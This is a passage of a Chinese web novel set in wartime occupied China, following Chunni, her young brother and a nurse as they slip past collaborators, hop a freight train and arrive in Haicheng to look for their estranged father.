话虽这样说,可他们这一群伤兵,走出去不消倭人搜寻,只需普通百姓就认得出他们不是平民。这一带都在倭人的控制下,想平安逃出去,谈何容易? 涂铁柱想走不容易,春妮带着夏风萍想进城也不是说进就进。她们前边听老乡说过,现在倭人守着城,出入要那什么良民证,这个证需要当地地保作证你是个有来历的人才给开。他们三个人,谁能从哪变个地保出来? 春妮和夏生情况略好一点,有夏生这个孩子在,也的确是真的被水卷到这里,现成的灾民。夏风萍就麻烦了,她开口就是一口的海城口音,却从北边战区的方向过来,还一身的文气。涂铁柱说,他闭着眼都闻得到她身上的学生味。这年头,学生可是不安分的代名词。夏护士若以这个面貌进城,只怕在城门口就要被拦下。 春妮看她细皮嫩肉的,实在没法扮灾民,跟夏风萍商量,索性让她扮成准备从首都回海城的大小姐,因为转车时遇到洪水,几经周转到的这座小城。正好夏风萍去过首都,编瞎话不难。夏生是她的弟弟,自己则当她的丫鬟,到时候就说三人坐船的路上遇到大水,逃难被冲过来的。 除了这个办法,夏风萍也想不出来更好的。她问春妮:“咱们的衣服都不合适吧?” 春妮从包袱里取出套衣裳:“你先穿穿这身吧。” 夏风萍拿过来翻看了一下:这是一套旧式女子穿的绸缎衫裙,上面湖绿底裥银灰边,满绣银蝴蝶,是件潞绸大袖衫,下边是深一号的绿色百褶裙,同样裥的银灰边,绣银蝴蝶。样式旧是旧了点,可清新的配色丝毫不显老气。 夏风萍接过来在身上比划:“这身衣服好看,但不是你的尺寸。这是谁的衣裳?” 春妮珍惜地摸了摸:“是我娘没出嫁前的衣裳,我带在身边留个念想。你穿穿看。” 她娘也是县里的大户人家出身,跟她爹是从小定的亲。可惜在她出生前,她外公带着她两个舅舅到北边走商,没过多久,北边沦陷,她外公和两个舅舅失去音讯,她外婆得知消息后一病不起,家业遭到旁亲们哄抢。到她娘得知消息赶回去,家里已经只剩下个空宅子,外公家就此败落下去。她奶奶回回骂她那个不孝子爹,就会可惜一回她外公走得早,不然给她爹十个胆子,也绝不敢干这没良心的事。 扯远了,两人找个地方换好衣裳,春妮给夏风萍梳了个倒折麻花辫,配上一字型刘海,足真像个从旧式画报里出来的闺秀。但她不是去参加选美,所以春妮在地上抓了把土撮细,给她脸上手上揉得黄黄的,再抓出几根乱发,更像落难中的闺秀。 随后三个人又排练了一会儿,确认包括夏生在内的“演员”们都准备得差不多,一前一后地走向城门,站在了队伍的最后端。 排队的人中,大部分都是穿短衣打补丁的平民。春妮这两个女人加孩子一站进去,简直是鹤立鸡群。 夏风萍原本抬头挺胸,站得昂藏极了,实在是经不住这些人瞧西洋景的看法,最后还是红着脸低了头,越发像个闺秀了。 队伍排得很长,挪得又慢,春妮瞧着个面善的婶子,跟人搭话:“大婶,这前面怎么回事?老半天不动了。” 大婶等得有些不耐烦:“还能是怎么个事?老爷们在抓人呢。” 春妮心里一咯噔:“抓谁啊?” 大婶警惕地看了她一眼,春妮忙端出最甜的笑脸,大婶就叹了口气:“我也是听人说的,说是在抓咱政府军。” 两人说着话,前边队伍突然一阵骚乱,一个穿灰布短衫的男子突破人群冲进了城,几名穿黄军装的倭人哇哇叫着追了上去,随即是几声枪声。 春妮跟夏风萍担忧地对视了一眼。 不知道过了多久,队伍总算排到了春妮她们。 看到夏风萍,写字的黄制服摸了摸鼠须:“这位……小姐,请出示你的良民证。” 夏风萍忙将几人商量好的说辞说了出来,黄制服转转眼珠:“这么说,小姐是跟家人失散了。” 春妮觉得,这人话里好像有点别的意思。 她把住夏生的小脑瓜,不叫他到处乱看。听这人一句句问夏风萍“多大了?所居何地?因何滞留本地”等等问题。 这些问题中,有些是该问的,但有些问题简直莫名其妙,已经触犯了隐私。好在夏风萍将该答的答了,不该答的,她都用话糊弄了过去。 春妮心里觉得不太对:按照她的审美,夏风萍五官普通,还刻意扮了些丑,不该有这样的麻烦,但现在她不得不设想最坏的情况。 这时,这人话锋一转:“夏小姐,您没有本地地保作保,按道理是不能发放良民证的。”他顿了顿,直到夏风萍从腕上撸出条绞丝银镯子塞到他手里,他一本正经地:“但本人考虑到夏小姐急于回乡,可以为您出具一份临时证明,直接送您到火车站去。” 夏风萍当然拒绝了,好在那人并未坚持,很爽快地在一页纸上盖了个章,笑着目送她进了城门。 一离开城门,夏风萍就憋不住了:“春妮,我觉得不太对,是不是想多了?” “没想多,”顾春妮竖起耳朵,听着身后的脚步声,让夏生爬到她背上:“快走!” 5、005 春妮他们三个进的这座城叫昌远县,因为有座山挡着,洪灾暂时没有肆虐过来。但这座城沦陷已经超过一年,早被倭人全面接管,所有关要位置里不是倭人,就是像在城门口那样的,已经投靠倭人的华国人。 小城不大,只一条主路,几条巷子,走快点,不到半天就能绕个圈。 “甩掉了吗?” 春妮将怀里的夏生换了个手,借着换手的功夫,她往后夹了一眼:“没有,还跟着。” 这两个人还挺机警,知道她们发现后,就拉开了些距离。但他们不敢当街拉人,应该是有些顾虑的。 夏风萍和她人生地不熟,这两人借着地利之便,果然难缠。 “那怎么办?”夏风萍焦急起来。 春妮指着眼前的岔道口:“你走那一条,我走这一条,你先走,我来把他们引开。” “不行不行,”夏风萍直摇头:“你还带着夏生不方便,该我留下来引开他们。” “唉呀,别让来让去了,别人看上的就是你,”春妮不由分说推她:“你先跑,一会儿我来追你,追不上咱们一小时后还在这集合。放心,我有办法脱身。” 夏风萍身不由己往前蹿了几步,忍不住回头,只见春妮身体已经转向另一条岔路,手伸向背后向她摇一摇,扭身跑了出去。 夏风萍瞪大眼睛:刚刚春妮那速度……这下她是真的放心了,赶紧也一头扎进了巷子深处。 夏风萍离开后,春妮反而停了下来。直到听见后边的声音:“跑哪边去了?” 她放重脚步,留下一串“咚咚咚咚”的脚步声。 那两个地痞打扮的男人紧紧衔在后面,春妮跑过这条巷子,又转了两个圈,越走越偏僻,这两人看见小姑娘抱着孩子就在他们前边一点,却怎么也追不上,心里纳闷之余,有些不耐烦了:“小姑娘,你别跑啊。哥哥们有好事找你呢!” 完全不用春妮去听,她便能分辨出这两人走到了哪里。 她闪身躲到一棵大槐树后边放下夏生,双手作出个合抱动作,夏生就明白,这是姐姐打暗号,让他下来自个儿藏好。他连忙机警地靠着墙根,把自己团起来。春妮手放进口袋里,反手从空间里掏出一包石灰,算着时间,在那两人跑过大槐树的那一刹那一扬手—— “啊!!!!!!” 春妮抱起夏生,准备捂他眼睛时,夏生躲开了,他直视着两个满地打滚的家伙:“姐姐,不用捂了,我不怕的。” 春妮望着他纯净的大眼睛,心里说不出什么滋味。 这样来回奔波,到春妮找到跟夏风萍分手的那个岔道口,已经是一个多小时之后。 夏风萍还没回来。 春妮估计她是在哪躲着,沿着她离开的方向走去,小声呼喊:“夏护士,夏……” 刚拐出这条巷子,某处一户人家的门打开一线,夏风萍露出半张脸:“这里。”招手将她拉进来。 夏风萍待的这处人家开门就是堂屋,左右两边,一边应当是卧室,一边是厨房,是个一望到底的格局。 “你怎么到了人家家里?”春妮讶道。 “我跑到这儿时,正好这家有人出来担水,跟他说了两句好话,就放我躲进来了。”夏风萍也是个机灵人。 她把情况跟夏风萍说了:“那两个人伤了眼睛,怕是不会善罢甘休。我们趁现在还没人发现,赶紧走吧。”她看着夏风萍:“就是伤人那会儿我忘了件事,我们要去火车站,还不知道什么时候有海城的火车,只怕有人会去火车站堵我。要不我们干脆分开走?” “别这么说,这事不赖你,那两人活该!你能逃出来我都不知道有多庆幸。大不了咱们一会儿先看看情况,不行了混出城再说。”夏风萍毫不犹豫表态 她又看了看身上的衣裳,道:“等我先换身衣裳。”再穿着这一身漂亮衣裳,打眼不说,还不方便行动。 春妮真诚地笑了:“那我跟夏生也换一身。” 夏风萍走到卧房那边敲了敲门:“大哥,我们想在你这换身衣裳就走,您看方便吗?” 走出来的是个男人,这人穿件露膀子的旧白色短打,个子一般,嘴唇微厚,长着张忠厚的脸,点点头:“进去吧。” 夏风萍冲春妮抬下巴,让她先进去。自己则跟上那个男人:“大哥,我跟您打听个事儿。城门那边的协军平时就这么无法无天吗?逮着个落单的姑娘就想抓。” “我听过一些,一会儿出门,你们小心些。那些人背后听说是佐木太君,倡狂得很。有好些姑娘被他们抓住,都卖到了那些脏地方去。不过你瞧着是有钱人,可能他们也是想求点财。” “佐木太君是?”夏风萍嘀咕:“我也没露财啊,都没敢拿大洋贿赂那人,一个小镯子也……” “佐木太君是城里倭人的一个中队长。” 夏风萍就惊慌起来:“那我妹妹刚刚把人打了,不会有事吧?那些倭人不会找上门给他撑腰啊?妹子妹子,你快出来,我们快走,别给大哥家惹了麻烦。” “倒不用这么急,”那人听说春妮惹了事,竟也稳得住,安慰道:“那些协军不过是佐木太君养的一条狗,何况两条狗养的狗,还不在倭人眼里。就是他们在城里人面广,你们注意躲一阵子,别往人多的地方去,应该就不会有什么事了。” “可我们人生地不熟的,上哪去躲?”夏风萍旁敲侧击,终于问出了这个最关键的问题。 那个人沉默下来。 过了会儿,夏风萍又问:“那我们是不是也不好坐车了?他们会不会去车马行找我?” “最好不要坐。” 春妮领着夏生出来时,夏风萍正捏着手绢对他抹眼泪:“现在可怎么办?街也不敢出,车也不能坐,连个落脚地都找不到,这不是逼我们两个弱女子去死吗?” 两人本来站在堂屋中央,现在老大条汉子竟被她逼到墙根儿,半侧着身子,窘迫得耳朵根都红透了,嗫嚅几声都没敢说话。 春妮拉拉她,她就势一捂眼睛进了屋,没一会儿嘤嘤嘤的哭声便响了起来,伴着“我命太苦了,日子没法过了,爹啊,娘啊,你们闺女如何如何”等戏词似的话,听着真有些凄惶。 春妮:“……”夏护士你可真是个戏精。 春妮就看这人搓着手掌,咽了好几下吐沫,局促得跟春妮一比,倒像他成了个客人似的。 “要不,你俩去扒火车吧。”他吭哧半天,给了这个主意。 夏风萍风一般从屋里刮出来,拽住他胳膊:“大哥,还请您多指教两句。” 春妮来自后世,经过这人的提醒,她才想起来,这个时候的火车还是最原始的蒸汽式火车,时速极慢。铁路沿线的平民们有远行的需要,有买不起票的人,便会偷偷守在铁轨旁边,在列车刚出站那会儿跳上火车逃票。 不过在倭人接手昌远县之后,宪兵队狠狠整治过几回,现在敢顶风作案扒火车的人已经几乎绝迹。 这个老实人却跟夏风萍说,沿着铁路线往南走十里,前边有个隧道,火车到那之前那一定会减速,有些机灵的本地人就会躲在隧道附近,趁火车减速那会儿跳上去。 夏风萍还想再问清楚些,这时,有人在门外敲起了门:“老曾,开门。” 这人神色紧张地看了她们一眼,过去开了门。 进来的人细高个儿,头上戴着顶破草帽,穿一身青黑色短打,里头一件雪白的对襟短衫,帽檐压得极低,从春蚕的视线,只看见他的脸团在一团黑影中。 看见她们两个,这人非常吃惊,转身质问老曾:“你怎么带人进来了?”他的声音听上去是少年特有的中性感,这人应该年纪很轻。 老曾比他高半头,这会儿却紧张地攥住腰带:“就是两个问路的,你们几个,还不快走?”张着手将几人往外赶。 两个姑娘几乎前脚一出门,后脚门板就啪地拍上了。 夏风萍咋舌:“还好之前我碰到的不是这个人,不然肯定进不了门。” 春妮没应话,她听见里面那人低声的喝斥:“这是什么时候,你还放人进来?” “就是两个姑娘……” “这不是姑娘不姑娘的事,你别忘了,我们是有要紧事要做的。误了事……”那人声音越发低下来。 春妮招呼一声:“走吧。” ………… 昌远城的火车站是小城里唯一的尖顶式仿教堂建筑,春妮几个稍一问就问到了。 想到之后不知道需要多久才到得了海城,两个姑娘先在城里采购一番,买足干粮,再找到火车站,春妮本打听列车停靠的时间,在街对面站了片刻,果然见几个穿着黑色短打,一看就不好惹的流氓把守在入口四下搜寻,只得作罢。 夏风萍紧紧头上的帽子,跟春妮使了个眼色,趁那些人没发现之前快步离开。 那位老曾将扒火车说得很容易,实际落实到两个姑娘这里,很是经历了一番波折。 昌远县火车站承接客货两运,但它只是个小城,一天里经过的火车不超过十列,这十列中,大部分还是守卫森严的军列。而且这个时候的火车沿途需要加煤加水,几乎不会准点到达。到春妮掌握这些信息后,时间已经是第二天深夜。因为夏风萍第一天死活不敢跳车,她们又多等了一天。 先前一个同来扒火车的老乡告诉她们,深夜会有一辆从首都过来,到海城的火车经过昌远,叫她们抓住机会。 春妮几个便找了个隐蔽的地方藏起来,蹲守到了晚上。直到远远地听见一声汽笛,两人赶紧冲出来,列车的速度果然开始缓缓降低,隆隆呜鸣着一节一节钻入山洞。 春妮推夏风萍一把:“快上啊!” 夏风萍小腿肚子直哆嗦:“我,我——”她以前只是个护士,真没干过这么危险的事啊! 但火车一节一节从她眼前经过,敞开的车门像一个个黑洞一般看着心慌……她眼一闭心一横,不管不顾地跳下去,抓住了扶梯! 一跳下去,她立刻发现了不对,正要提醒春妮,却见这个背后还背着个孩子的小丫头猿猴似地,一攀一蹬,轻轻松松便上了车,火车过隧道没多久,她已经爬上车顶,下到车厢里面,打开后门冲她招手:“快进来。” 夏风萍忍不住提醒她:“你没发现不对吗?” “发现了啊,”春妮完全不觉得这是个问题:“你是说这是运货车?上了车就先走吧,走一步算一步。” 事到如今,也只能这样。 夏风萍进了车,看见春妮还站在门口往后望,便道:“还看什么呢?快进来吧。” 春妮若有所思:那隧道附近好像还有个人,那个人他穿的那身衣服…… 春妮摇摇头,听夏风萍问她:“想什么呢?” 没等她答话,“呜呜呜呜”的汽笛声中,另一辆火车打着闪灯从对面开了过来。 春妮坐的这一列火车速度放得很慢,两列火车交错而过的那一刹那,春妮看到了头戴钢盔,手持步枪的倭军站在对面的车厢里把守。 “那里面装的什么啊?派这么多兵守着。” “坏东西。”夏生睡了一整个白天,这会儿精神好得不得了。 夏风萍蹲下来逗他:“哟,小家伙,你还知道——” “轰!!!!” 震天的炮火声中,火车开始剧烈摇晃。春妮连退几步,一屁股坐在了柔软的口袋上。 发,发生什么事了??? 第一卷.完 6、006 “《金南段铁轨前晚发生大爆炸》。”夏风萍盯着对座手上的报纸,喃喃念出标题。 “两位小姐也知道昌南段铁轨这事?”对座的先生折起报纸,跟夏风萍搭话。 前天晚上,春妮几个得知扒错火车后,只能将错就错,跟着一整列的稻谷小麦到了列车的终点站金城下车。 金城是华国南方有数的几个大城市,去年倭人为了尽快让金城人屈服,威慑周边地区,攻进城后放军队烧杀了好几天。因此,金城人跟倭人的关系是最紧张,斗争相对也最激烈的沦陷城市之一。 跟昌远县倭人一手遮天相比,这里火车站表面上被倭人掌控,但火车站广场前就有很多为无法提供良民证的人购买车票,当然,那价钱也很可观。据卖她们票的黄牛说,倭人也狠狠整治过几回,但他们内部有线人,每每都能提前得知消息避风头。 春妮来之前是卖了家里地的,加上她奶奶和她娘把什么好东西都给了她和弟弟,她不缺这点票钱。就是夏风萍出来的匆忙,身上的零钱也在昌远县买干粮给用光了,春妮便帮她出钱买了座位。 她倒想省钱坐三等座,可黄牛跟她说,三等座车厢不设座,连外头都站的有人,小孩不好办。春妮想象一下那种环境,只好忍痛多出十块大洋,买了两个带小孩票的二等座。 “这不刚看到您报纸上登的消息么?先生能详细讲讲吗?”夏风萍马上跟上了对面先生的频道。 他体贴地把报纸推到夏风萍面前:“你们先看报纸吧。” 报纸上这块内容占据的版面非常小,只有寥寥数行字:“接电讯。今日,东海省政府通报一起恶性案件。前晚,连接金南铁路昌远段被一群匪徒恶意炸毁,致使昌远南十里处隧道部分塌方,一辆行进中的列车被塌方隧道掩埋。目前,东海省政府已委托倭军联合行动,全力缉拿匪徒。本报奉劝匪徒早日投案自守,争取政府谅解,不要……” 春妮不习惯看竖排繁体字,夏风萍放下报纸,开始跟报纸主人攀谈时,她才看了一半。 “您说,会不会是那些抗倭分子炸的?” “女士,这可不好乱说啊。”这位先生压低声音,有点怂怂地提出自己的看法:“不过也不是没可能。” 一男一女的攀谈在继续:“我觉得不太可能。他们要炸,去年炸不是更好?倭人都来一年多了,何必选在这个时候?要不应该跟那列被埋的列车有关,您说呢?” “这个……我还真听说了一点消息。”年轻的先生在女士们面前总是很博学:“好像那列车是秘密军列,运的是倭人准备投入战场的新式武器,可能……” “是吗?您知道是什么新式武器?” “这我是真不清楚了。” “肯定不会是好消息,”走廊对面,一位戴眼镜的先生加入了攀谈:“这次沙北省的洪水据说对倭人的进攻计划影响很大,他们肯定着急了。” ………… “当,当,当——” 三个钟头后,车厢连接处,戴着白手套的列车长摇响铃铛:“女士们,先生们,我们的列车已经驶入本次旅途的终点站海城市,您现在可以离开座位。请您拿好您的行李,准备下车。” 春妮赶紧背起包袱,一手牵住夏生,跟着人流走出了列车。 夏生还没出站就看花了眼:“姐姐,这里好多人哪。那是卖什么的?” “那是卖汽水的。” “汽水是什么?是会变成汽的水吗?” 夏生的童言童语逗笑了一圈旅客。 却在这时,夏风萍快步上前,牵起他另一只手,半边身体挡住他的视线:“快走,别乱看。” 几个人低下头,跟拐角处走来的一队倭人士兵擦身而过。 直到整齐划一的脚步声消失在铁轨的另一边,春妮两个才抬头,再看四周,人人脸上都是逃过一劫的庆幸。 春妮回头看了一眼,那列士兵已经登上另一列火车,火车的烟囱大口喷吐着白烟。 “不知道又是哪里要倒霉了。”人群里,不知是谁叹了一句。 “噤声!” 拐角处,又是一列士兵走来。 这下,所有人肩膀都夹住脑袋,闭紧了嘴巴。 夏生见到这座高达六七层楼,以前从未见过的英式建筑眼睛已是用不过来,那两队士兵很快被他抛诸脑后。幸而未再有变,沉默的人群很快汇入车站外的人流。 夏风萍再三同春妮确认:“真不要我送你?” 春妮也再三拒绝:“不用,我知道路。”好不容易交到的朋友没必要送上门陪她受气。 最后,夏风萍只好送到马路边,目送他们上了一辆黄包车。 坐上黄包车后,夏生就再也按捺不住了。他小小年纪身遭大变,虽然仍是懵懂,但对人的情绪最敏感。他感觉到这会儿姐姐的心情其实很好,他们也没有像前几天一样慌慌张张地到处躲藏,胆子渐渐大起来。 海城跟自己家乡那样贫穷单调的小山坳是完全不同的两个世界。 夏生没一会儿就看迷了眼,不是指着天上横七竖八的电线,就是盯着驶过的电车问东问西:“姐姐,这是什么?姐姐,那是什么?” 一会儿又张嘴看百货商店门前挂的彩色广告牌,再瞪圆了眼睛去瞧门口戴红头巾的印度人,偶然见到对过黄包车上穿洋装露出白臂膀的外国女人再发出一声“啊呀”的惊叹。 春妮并没有阻止他的意思。作为华国对外交流贸易的最大城市,海城的稳定比混乱更符合各方利益。 按车上那位先生的话判断,海城沦陷之后混乱过一段时间。但随着倭人统治日深,普通人走在街上虽然仍不能说百分百安全,总算不用时时担心时时会有横灾掉落。 百多年前,自从海城开埠,海城□□势力有英法等国在背后撑腰,在本地扎根极深。倭人所图甚大,想在此好好经营,就不能将插手太过。但连春妮都知道,就像夏风萍说的,这只是表面上的平静,静水下的暗流从来不少。 但她好不容易逃出家乡,逃过水灾,来到这里,已经是天堂。 不知不觉,车子路过的地方越来越熟悉。先是马路口的那处报摊,报摊背后,再沿着道旁背后的林荫路往里走一百米,黄包车在一处石牌楼前停下:“小姐,到了。” 时隔多年,再次站在这座写着“三元里”的石牌楼下,春妮已经完全想不起第一次来的心境。 石牌楼里,是一排排砌米黄拉毛墙砖,美丽又神气的三层小洋房。这些小洋房中,其中的一栋就属于春妮渣爹在城里另娶的那位二房太太。 “姐姐?”夏生被这样气派新潮的楼房吓到了,对那位未曾见面的渣爹也生出了一股说不清的敬畏感。 春妮定定神,握住他的手:“不怕,走吧。” 这两个穿着土布衣裳,又是背又是抱,身上挎好几个包袱,一看就是乡下来的小孩子早就叫人看在了眼里。 几个里外穿梭的娘姨张头张脑,看小姑娘不带停留,走到了7号房外。 春妮记得,以前铁栅门旁的门房常年有个听差候门。但现在里边没人,她在外头敲了许久的门,才有个声音粗厚的女人小跑出来:“来了来了。” “阿梅姐?”春妮认出来人。 “你是?” “我是春妮,顾春妮,还记得吗?” “啊!你是姑爷家的大小姐,大小姐你什么时候来的海城?你阿妈还好?”阿梅一拍脑袋,指着她叫起来。 阿梅当年脑子就很不灵光,这些年过去,也没怎么变,渣爹家怎么会叫她来应门? 春妮感觉,阿梅这句话一出,周围那些若隐若现的视线立刻炽热好多。 脑子简单也有脑子简单的好处,一确定是认识的人,阿梅马上打开栅栏门让她进来:“大小姐,你等一等,我上楼去跟我们小姐说一声。” 春妮站在客厅里,这里不像六年前,有了些细微的变化,除了进门处那对大花瓶已经不知所踪,还有左手边餐室里挂着的那幅西洋画也不见了。还有他们脚下踩着的,那些美丽精贵的红木地板似乎也不再像六年一样,光得能照见人的影子。 隔壁院子里,两个娘姨在窃窃地笑:“嗨呀,天天花枝招展的,不晓得这回还摆不摆得下去哩。” 春妮眼睛耳朵收集着消息,听见楼上门咔地拧开,没一会儿,有人在房里骂:“怎么,你没告诉他们,那个没心肝的老东西已经死在外头了吗?” 7、007 “姐姐!”夏生吓得钻进春妮怀里。 春妮拍拍他的脊背,让他在沙发边的矮脚凳上坐下来。墙上的挂钟现在是上午十点半,秦惠君每天不到十一点半是不出房门的。这会儿阿梅吵到她,她心情必然不会好,说不定还要故意磨蹭会子才会下来。 不过这回春妮想错了,阿梅上去没到五分钟,噔噔的脚步声到了二楼楼梯口。 姐弟两个抬头望去,正好跟秦惠君对视正着。 她穿着身墨绿印花的无袖绸缎旗袍,发尾束成燕尾式卷发,耳朵上坠着同色绿宝石方型耳坠子,粉腻腻的脸上,一张嘴唇涂得红艳艳,眉尾剔得极尖。她这样居高临下望过来,美艳中更添几分凌厉。 但春妮眼睛比旁人尖,除了她的红唇和富贵,她眼角的鱼尾纹,眼下发青的松驰瞒不过她去。 春妮忽然就想到老家曾经红遍十里八乡的名角粉荷花。传说,粉荷花名气最大那阵子,当时沙北省的督军府都曾请他登过台。那一年王地主家终于请到粉荷花唱堂会时,春妮好不容易挤到最前边,看到的却是个高音不敞亮,低音不婉转,满脸的油彩都遮不住眼中疲态,尴尬得连卧鱼儿都卧不下去的“名角”粉荷花。 她差点以为王地主受了骗,后来才知道,原来粉荷花养了几个徒弟,已多年不登台。那一次他戏班子被人挖角,他没人可用,不得不临时顶上班,却演塌了台子。 秦惠君这副扮相,让她免不得联想到那重调脂粉,粉墨登场的老旦。 两人视线相触只是片刻,春妮已经看到她手上拎着的那只黑色坤包。 她是要出门去? 秦惠君蹬蹬下楼,蹬蹬往门口走:“阿梅,下回你再带不相干的人进来,也不用留在这儿了。” 秦惠君一向端着架子,从不跟她们正面冲突。春妮跟她打交道半年,知道这种人就是说几句怪话,其实没什么可怕的。 她直接拦住秦惠君去路:“我来找我爹。你跟我说清楚我爹在哪,不用你撵,我自己走。” 秦惠君沉下脸,去看阿梅。 可惜阿梅不像以前那些眼色精明的仆妇们,秦惠君干瞪半天眼,只得转头横春妮:“没听见吗?我说了,你爹死了,那老瘪三他死了!” 春妮细细端详她的神色,感觉她的愤怒很真实,不像是演的,发生什么事了?她渣爹那种人会死??? 夏生“哇”地一声哭了,冲上来对秦惠君连踢带打:“你这个坏人!俺爹才没死!” 春妮一路上给夏生说渣爹的好话,原本是怕他小孩子藏不住事,还没见到亲爹,就生出抵触,让渣爹不喜。夏生现在当了真,秦惠君这话可是惹恼了他。 春妮急忙抱住他,秦惠君受惊不轻,连退几步骂道:“小赤佬,要死了啊!”一推阿梅:“你去,跟她说清楚,看我是不是骗她!”说罢,一扭身子,气冲冲走了。 春妮没拦她,反正秦惠君的老巢在这,阿梅说不清,她就等秦惠君回来亲自说。 她好不容易哄得夏生收住了眼泪,跟阿梅商量:“阿梅姐,我跟夏生从前天起就没休息,你先找个房间让夏生睡一觉吧。我爹的事,慢慢说不着急。” “这……不好吧,刚刚我们小姐说……” “你若觉得不方便,我等秦小姐回来也行。” 阿梅向来是没什么主意的,闻言忙道:“把他放到我房里吧,先洗把脸再去。” 夏生扭着春妮不放:“姐姐,我不走。” 春妮哄他道:“不怕的,姐姐就在外边,你睡一觉就好了。” 夏生小脸上还挂着泪珠,执意问她:“那你跟我说,爹是不是真死了?”接连经历亲人的去世,他已经对“死”这个字有了深切的恐惧。 春妮只好去看阿梅,看来不给他个答案,夏生是不会甘心的。 阿梅露出了苦恼的神色:“姑爷很长时间没回来,应该是真死了吧。” 夏生扁了扁嘴,春妮拍拍他,板下脸:“阿梅姐,你可要想清楚再说话。我弟弟人小,他会当真的。” “那我一个下人,打哪知道呢?小姐说姑爷死了,那就是真死了吧。” 老实人有老实人的好处,阿梅很快将她知道的事情都说了出来。原来海城沦陷后,渣爹觉得倭人可能早晚会对本地富商动手,便跟秦惠君商量,将茶叶生意转移一部分到其他地方。 秦惠君觉得他说得有道理,便答应了。渣爹先去的是港城,结果没到一个月回来,说是他们乘的船遇到大风被刮翻,渣爹好不容易捡条命回来,带的所有财物却全部喂了鱼。这事报纸上也有报道,秦惠君只能自怨倒霉。在家歇了数月之后,因为接连传来城中富商遭到失踪绑架等事,不用渣爹再劝说,秦惠君也着急了。 她这回没让渣爹插手,自己选定了双城,说好让他先去探路,略作安顿之后,她再动身去跟他汇合。渣爹走后,现在好几个月过去,他音讯全无。 阿梅说,这些天秦惠君脾气越来越坏,虽然仍没收到消息,但每天话里话外都在诅咒渣爹死在外边,以前的店也关了两家。 话说回来,一连出门两次都不顺,这么巧,连春妮都怀疑渣爹是不是真的有什么事,毕竟他是有前科的。依靠老婆嫁妆发了家,转眼就攀上曾是海城名媛的秦惠君,连老娘儿子都能狠心丢在老家不管不问。这样的人,做出什么没心肝的事都不稀奇。 秦惠君这样要脸的人,难怪不肯留下来亲自跟她掰扯。 春妮问:“那我两个月前寄过来的信,你们收到了吗?” 两个月前堂叔家的儿子差点把夏生推到河里淹死,尽管堂叔一家坚称是小孩子玩闹没注意出的事,但她娘死后,姐弟俩遭遇到的种种事故,让春妮不得不多想。就是这件事,促使春妮下的决心到海城来投奔渣爹。来之前她先写了封信,看来因为战争之故,多半是没收到的。 阿梅说:“大小姐,你忘了,我不识字?我也没听我们小姐提过,应该是没收到吧?” 该问的都问完,春妮也不是那不识趣的人,问阿梅:“秦小姐一般什么时候回来?” “这可难说。我们小姐这阵子每天都回来得晚,有时候一晚上回不来也说不定。” 春妮只能拉着夏生先告辞:“那我改天再来。我爹的事,我得亲自听秦小姐的说法。” 送春妮出门时,阿梅总算想起来问一句:“哎呀,大小姐,你就这么走了,会不会没地方住呀?” 她见春妮回头似乎在往房子里头看,吓得忙说:“我意思是,你要是没地方住,去闸口路那里呀,那里好多租房的。” 春妮冲她笑笑,转身拉着夏生离去。 阿梅站在门边,看着一大一小远去的背影,叹了口气:“这么点的小毛头,在海城这种地方,往后可怎么过呀?” 8、008 春妮却没有阿梅的担忧。 这短短的半日,已令她对海城如今的治安有了初步的判断。别看夏风萍在火车站站口说得吓人,但海城再可怕,租界里也有巡捕房,租界外有警察局维持治安,甚至是有些□□,他们收了保护费也是做事的。跟她们那山高地远,出了事孤立无援的小山村比,已经是法度严明的好地方了。 她走到路口问报摊老板拿了份《海城新报》,这是一份偏重于市井生活的八卦小报。她记得,六年前,她跟她娘得知了秦惠君跟渣爹的渊源,不愿意看人脸色,从三元里出来后,一时不知该往哪去。老板推测他们需要找房子,给他们推荐的就是这份《海城新报》。凭借报纸上的租房广告,她们娘儿俩才有了海城的第一个落脚地。 时隔六年,报摊老板已经认不出她们。见春妮翻来覆去的看,搭话道:“小姑娘是找什么?” “找房子。老板,我记得这里以前不是有租房子的广告吗?” “那都是多久前的事了,现在早没啦。小姑娘要租房子啊?” 春妮把报纸还给老板:“老板请您给我们推荐一下吧。” 老板手一摊:“要是半年前你来问我,我还真有。可是现在,海城到处挤满了人。就跟你一样,那些逃难来的人,你知道的?眼下连苏河北岸的草棚子都抢手得很,小姑娘,不是阿叔不帮你啊,我也不知道呢。” 海城房源这样紧张? 春妮想起这一路见到的情景,确实只有海城不是在倭人完全控制之下,华国人在这里还有点喘息空间。 “那老板知道闸口路吗?刚刚有人告诉我说,那边可能有房子。” 老板神色怪异起来:“那里啊,那里还真可能有。” ………… 两个钟头后 从电车上走下来后,夏生还不住往里张望,让春妮拍拍他的脑袋:“走路呢,别东张西望。” 知道自己父亲不一定是真的去世,又如愿坐到电车后,小家伙的精神状态总算又好了一些。但还是忍不住怂怂地问:“姐姐,那个嘴巴红红的坏女人好可怕,我们以后不来这了好不好?” 这孩子别看在秦家凶得很,心里其实不知道多害怕。春妮她妈当年没舍得她受寄人篱下的气,她自然也不会让夏生落到这一步:“不怕的。秦家是秦家,咱们不吃她的饭,不端她的碗。以后自己靠自己挣饭吃,堂堂正正的,谁也用不着怕!” 三元里在英租界,而阿梅说的闸口路位于公共租界,也是海城有名的繁华地界。但闸口路比较特殊,闸口路以东是倭人聚居区,以西则是英国人的地盘。这些年来倭人在世界战场上的表现有目共睹,英国人也不敢得罪他们,只能放任他们不断蚕食扩充地盘,以至于这条路成为了事实上的三不管地带。特别是西边路中有个赫赫有名的远东第一监狱,一般华国人听到后觉得忌讳,又惧怕倭国人,不会往这边来。现在居住在那里的多数是外国人,尤以逃难到华国的犹太人最多。 狡猾的房东告诉她,他们这些在此经营的店主每个月会同时向英方和倭方缴纳治安费,如果有事发生,起码会有双重保障。 春妮这回租到的房子,房东就是一家几年前从法国逃到海城的犹太人。 春妮没拆穿她,毕竟比起□□横行,更没有规矩的华界,这里至少不会乱得太过。 租房的女房东华国语水平只限于问好等几个简单的词汇,两人磕磕绊绊沟通半天,最后春妮以每个月八块钱的价格租了个带老虎窗的顶层阁楼。 八块钱在春妮的老家少说能做五六套细布衣裳,她从地里吃喝,半年都用不到这么些钱。可这些钱在海城只能租到这个为期只有一个月,像蒸笼一样的小阁楼。房东还说,要不是因为太热,连这间阁楼都不一定会留到现在。 春妮问了一路,八块钱,也确实是这里最便宜的房子了。 阁楼里自带一张床和一个床头柜,春妮去街头的旧货店淘了两床铺盖,再买几个锅碗瓢盆,毛巾盆子桶子暖壶等家什,这个简单的小窝算是布置下来了。 